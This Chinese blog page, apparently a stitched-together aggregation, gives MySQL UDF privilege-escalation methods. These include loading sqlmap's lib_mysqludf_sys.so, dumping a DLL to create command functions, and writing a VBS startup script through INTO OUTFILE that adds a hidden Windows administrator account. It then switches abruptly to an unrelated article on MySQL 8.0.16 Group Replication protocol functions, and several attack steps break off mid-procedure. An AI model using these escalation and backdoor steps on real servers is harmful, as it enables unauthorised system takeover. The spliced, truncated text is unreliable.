mysql數據庫提權之udf,sql注入提權

本文目錄一覽:

MYSQL提權(LINUX)

select @@global.secure_file_priv;

查看MySQL服務器的文件讀寫權限

如果是NULL就是完全禁止

udf提權用到的so文件(linux)在kali下默認集成,路徑為 /usr/share/sqlmap/udf/mysql/linux/64(32)

或者 searchsploit mysql udf

把對應的內容編譯出來

mysql創建函數命令

怎麼在Windows下的MYSQL網站利用UDF.dll提權?

udf.dll提權在MySQL版本大於5.0會有很多限制,因為導出udf.dll目錄到winnt目錄已經不行。好在還有方法, ,t00ls轉載的,udf.dll失敗時可以考慮試試^_^

linux mysql udf提權漏洞怎麼辦

在mysql庫下必須有func表,並且在‑‑skip‑grant‑tables開啟的情況下,UDF會被禁止;

過程: 得到插件庫路徑 找對應操作系統的udf庫文件 利用udf庫文件加載函數並執行命令

1,得到插件庫路徑

?

1

2

3

4

5

6

7

mysql show variables like “%plugin%”;

+—————+———————–+

| Variable_name | Value |

+—————+———————–+

| plugin_dir | /usr/lib/mysql/plugin |

+—————+———————–+

1 row in set (0.00 sec)

2,找對應操作系統的udf庫文件

因為自己測試,看了下自己系統的版本,64位

?

1

2

root@bt:~# uname -a

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

對於udf文件,在sqlmap工具中自帶就有,只要找對應操作系統的版本即可

?

1

2

3

4

5

6

root@bt:/pentest/database/sqlmap/udf/mysql# ls

linux windows

root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls

32 64

root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls

lib_mysqludf_sys.so

3,利用udf庫文件加載函數並執行命令

首先要得到udf庫文件的十六進制格式,可在本地通過

windows 2008 怎麼利用mysql提權

mysql 5.1版本以上,必須把udf文件放到mysql安裝目錄下的lib/plugin下才能創建自定義函數,mysql into dumpfile並不能創建文件夾,所以mysql 5.1以上的版本,root權限提權就很困難了,目前已有的方法只有寫啟動項如下:

create table a (cmd text);

insert into a values (“set wshshell=createobject (“”wscript.shell”” ) ” );

insert into a values (“a=wshshell.run (“”cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add””,0) ” );

insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup Administrators 007hack.com /add””,0) ” );

windows 2008啟動項:

C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

select * from a into outfile “C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs”;

寫啟動項缺陷:

1、需要服務器重啟(如果管理員3389遠程桌面登陸時註銷了用戶,再次3389連接時,這個腳本就會運行,添加一個管理員,不需要重啟)。

2、安全軟件可能會攔截。

補充:

如果mysql小於5.1是root權限,windows 2008一樣可以拿到系統權限(mysql無降權處理)

1、mysql導出一個dll

SELECT udf FROM 007hack_tab INTO DUMPFILE ‘c:/007hack.dll

//udf內容網上早有公開

2、創建一個函數

create function myconnect returns integer soname ‘c:\\007hack.dll

//c盤要可以寫,注意是”\\”

3、調用這個函數

select myconnect(‘”.$chost.”‘,'”.$cport.”‘)

//這只是一個例子

mysql udf函數怎麼調用

背景

在上一篇推文中,我們介紹了 MySQL Group Replication 8.0.16 支持信息碎片化功能來增強大型事務處理能力。

如果您想在組複製中使用該功能,則任何組成員的版本都不能低於 8.0.16!

簡單地說就是由於低版本協議上不支持。MySQL 8.0.16 的組通訊開始支持新協議,簡稱“分段協議”,之前的版本中只有一種“壓縮協議”。

如果多個成員想加入複製組,那麼在協議匹配上遵循以下原則:

現有複製組成員和新加入成員版本相同,加入成功。

低版本成員想加入高版本的組會被驅逐,加入失敗。

高版本的成員想加入低版本的組,單獨加入成功,多個加入失敗。

例如:

一個 MySQL Server 8.0.16 實例可以成功加入使用通信協議版本 5.7.24 的組。

一個 MySQL Server 5.7.24 實例無法成功加入使用通信協議版本 8.0.16 的組。

兩個 MySQL Server 8.0.16 實例無法同時加入使用通信協議版本 5.7.24 的組。

兩個 MySQL Server 8.0.16 實例可以同時加入使用通信協議版本 8.0.16 的組。

新增 UDF

為了能讓高版本的複製組更便於加入低版本的成員,MySQL 8.0.16 新增兩個 UDF。

您可以使用兩個新的 UDF 命令去管理組通信協議:

1. group_replication_set_communication_protocol(new_protocol)

設置組複製通訊協議版本

SELECT group_replication_set_communication_protocol(“8.0.15”);

填入一個所有成員都支持的版本號,即:new_protocol ≤ 所有成員的 MySQL版本。

new_protocol 格式:major.minor.patch (主版本號.次版本號.發布版本號)例如:8.0.15。

2. group_replication_get_communication_protocol()

獲取複製中最舊成員的 MySQL 版本號

SELECT group_replication_get_communication_protocol();    +————————————————+    | group_replication_get_communication_protocol() |    +————————————————+    | 5.7.14                                         |    +————————————————+

獲取的版本號可能與設置的值不一致,但不一致的版本之間組複製協議是一樣的。

返回結果格式:major.minor.patch (主版本號.次版本號.發布版本號)例如:8.0.15。

以上兩個 UDF 對全部組成員有效,主機或從機上均可執行。

結論

若想使用信息碎片功能。建議將組複製成員全部升級為 8.0.16。

若組內成員版本僅有部分為 8.0.16,可以用兩個新的函數來讓高版本的成員保持與其它成員組協議一致。

請點擊輸入圖片描述

原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/228763.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
小藍的頭像小藍
上一篇 2024-12-10 12:07
下一篇 2024-12-10 12:07

相關推薦

  • 如何修改mysql的端口號

    本文將介紹如何修改mysql的端口號,方便開發者根據實際需求配置對應端口號。 一、為什麼需要修改mysql端口號 默認情況下,mysql使用的端口號是3306。在某些情況下,我們需…

    編程 2025-04-29
  • Python 常用數據庫有哪些?

    在Python編程中,數據庫是不可或缺的一部分。隨着互聯網應用的不斷擴大,處理海量數據已成為一種趨勢。Python有許多成熟的數據庫管理系統,接下來我們將從多個方面介紹Python…

    編程 2025-04-29
  • openeuler安裝數據庫方案

    本文將介紹在openeuler操作系統中安裝數據庫的方案,並提供代碼示例。 一、安裝MariaDB 下面介紹如何在openeuler中安裝MariaDB。 1、更新軟件源 sudo…

    編程 2025-04-29
  • Hibernate日誌打印sql參數

    本文將從多個方面介紹如何在Hibernate中打印SQL參數。Hibernate作為一種ORM框架,可以通過打印SQL參數方便開發者調試和優化Hibernate應用。 一、通過配置…

    編程 2025-04-29
  • Python操作MySQL

    本文將從以下幾個方面對Python操作MySQL進行詳細闡述: 一、連接MySQL數據庫 在使用Python操作MySQL之前,我們需要先連接MySQL數據庫。在Python中,我…

    編程 2025-04-29
  • 使用SQL實現select 聚合查詢結果前加序號

    select語句是數據庫中最基礎的命令之一,用於從一個或多個表中檢索數據。常見的聚合函數有:count、sum、avg等。有時候我們需要在查詢結果的前面加上序號,可以使用以下兩種方…

    編程 2025-04-29
  • 理解Mybatis中的SQL Limit用法

    Mybatis是一種非常流行的ORM框架,提供了SQL映射配置文件,可以使用類似於傳統SQL語言的方式編寫SQL語句。其中,SQL的Limit語法是一個非常重要的知識點,能夠實現分…

    編程 2025-04-29
  • 數據庫第三範式會有刪除插入異常

    如果沒有正確設計數據庫,第三範式可能導致刪除和插入異常。以下是詳細解釋: 一、什麼是第三範式和範式理論? 範式理論是關係數據庫中的一個規範化過程。第三範式是範式理論中的一種常見形式…

    編程 2025-04-29
  • MySQL遞歸函數的用法

    本文將從多個方面對MySQL遞歸函數的用法做詳細的闡述,包括函數的定義、使用方法、示例及注意事項。 一、遞歸函數的定義 遞歸函數是指在函數內部調用自身的函數。MySQL提供了CRE…

    編程 2025-04-29
  • SQL預研

    SQL預研是指在進行SQL相關操作前,通過數據分析和理解,確定操作的方法和步驟,從而避免不必要的錯誤和問題。以下從多個角度進行詳細闡述。 一、數據分析 數據分析是SQL預研的第一步…

    編程 2025-04-28

發表回復

登錄後才能評論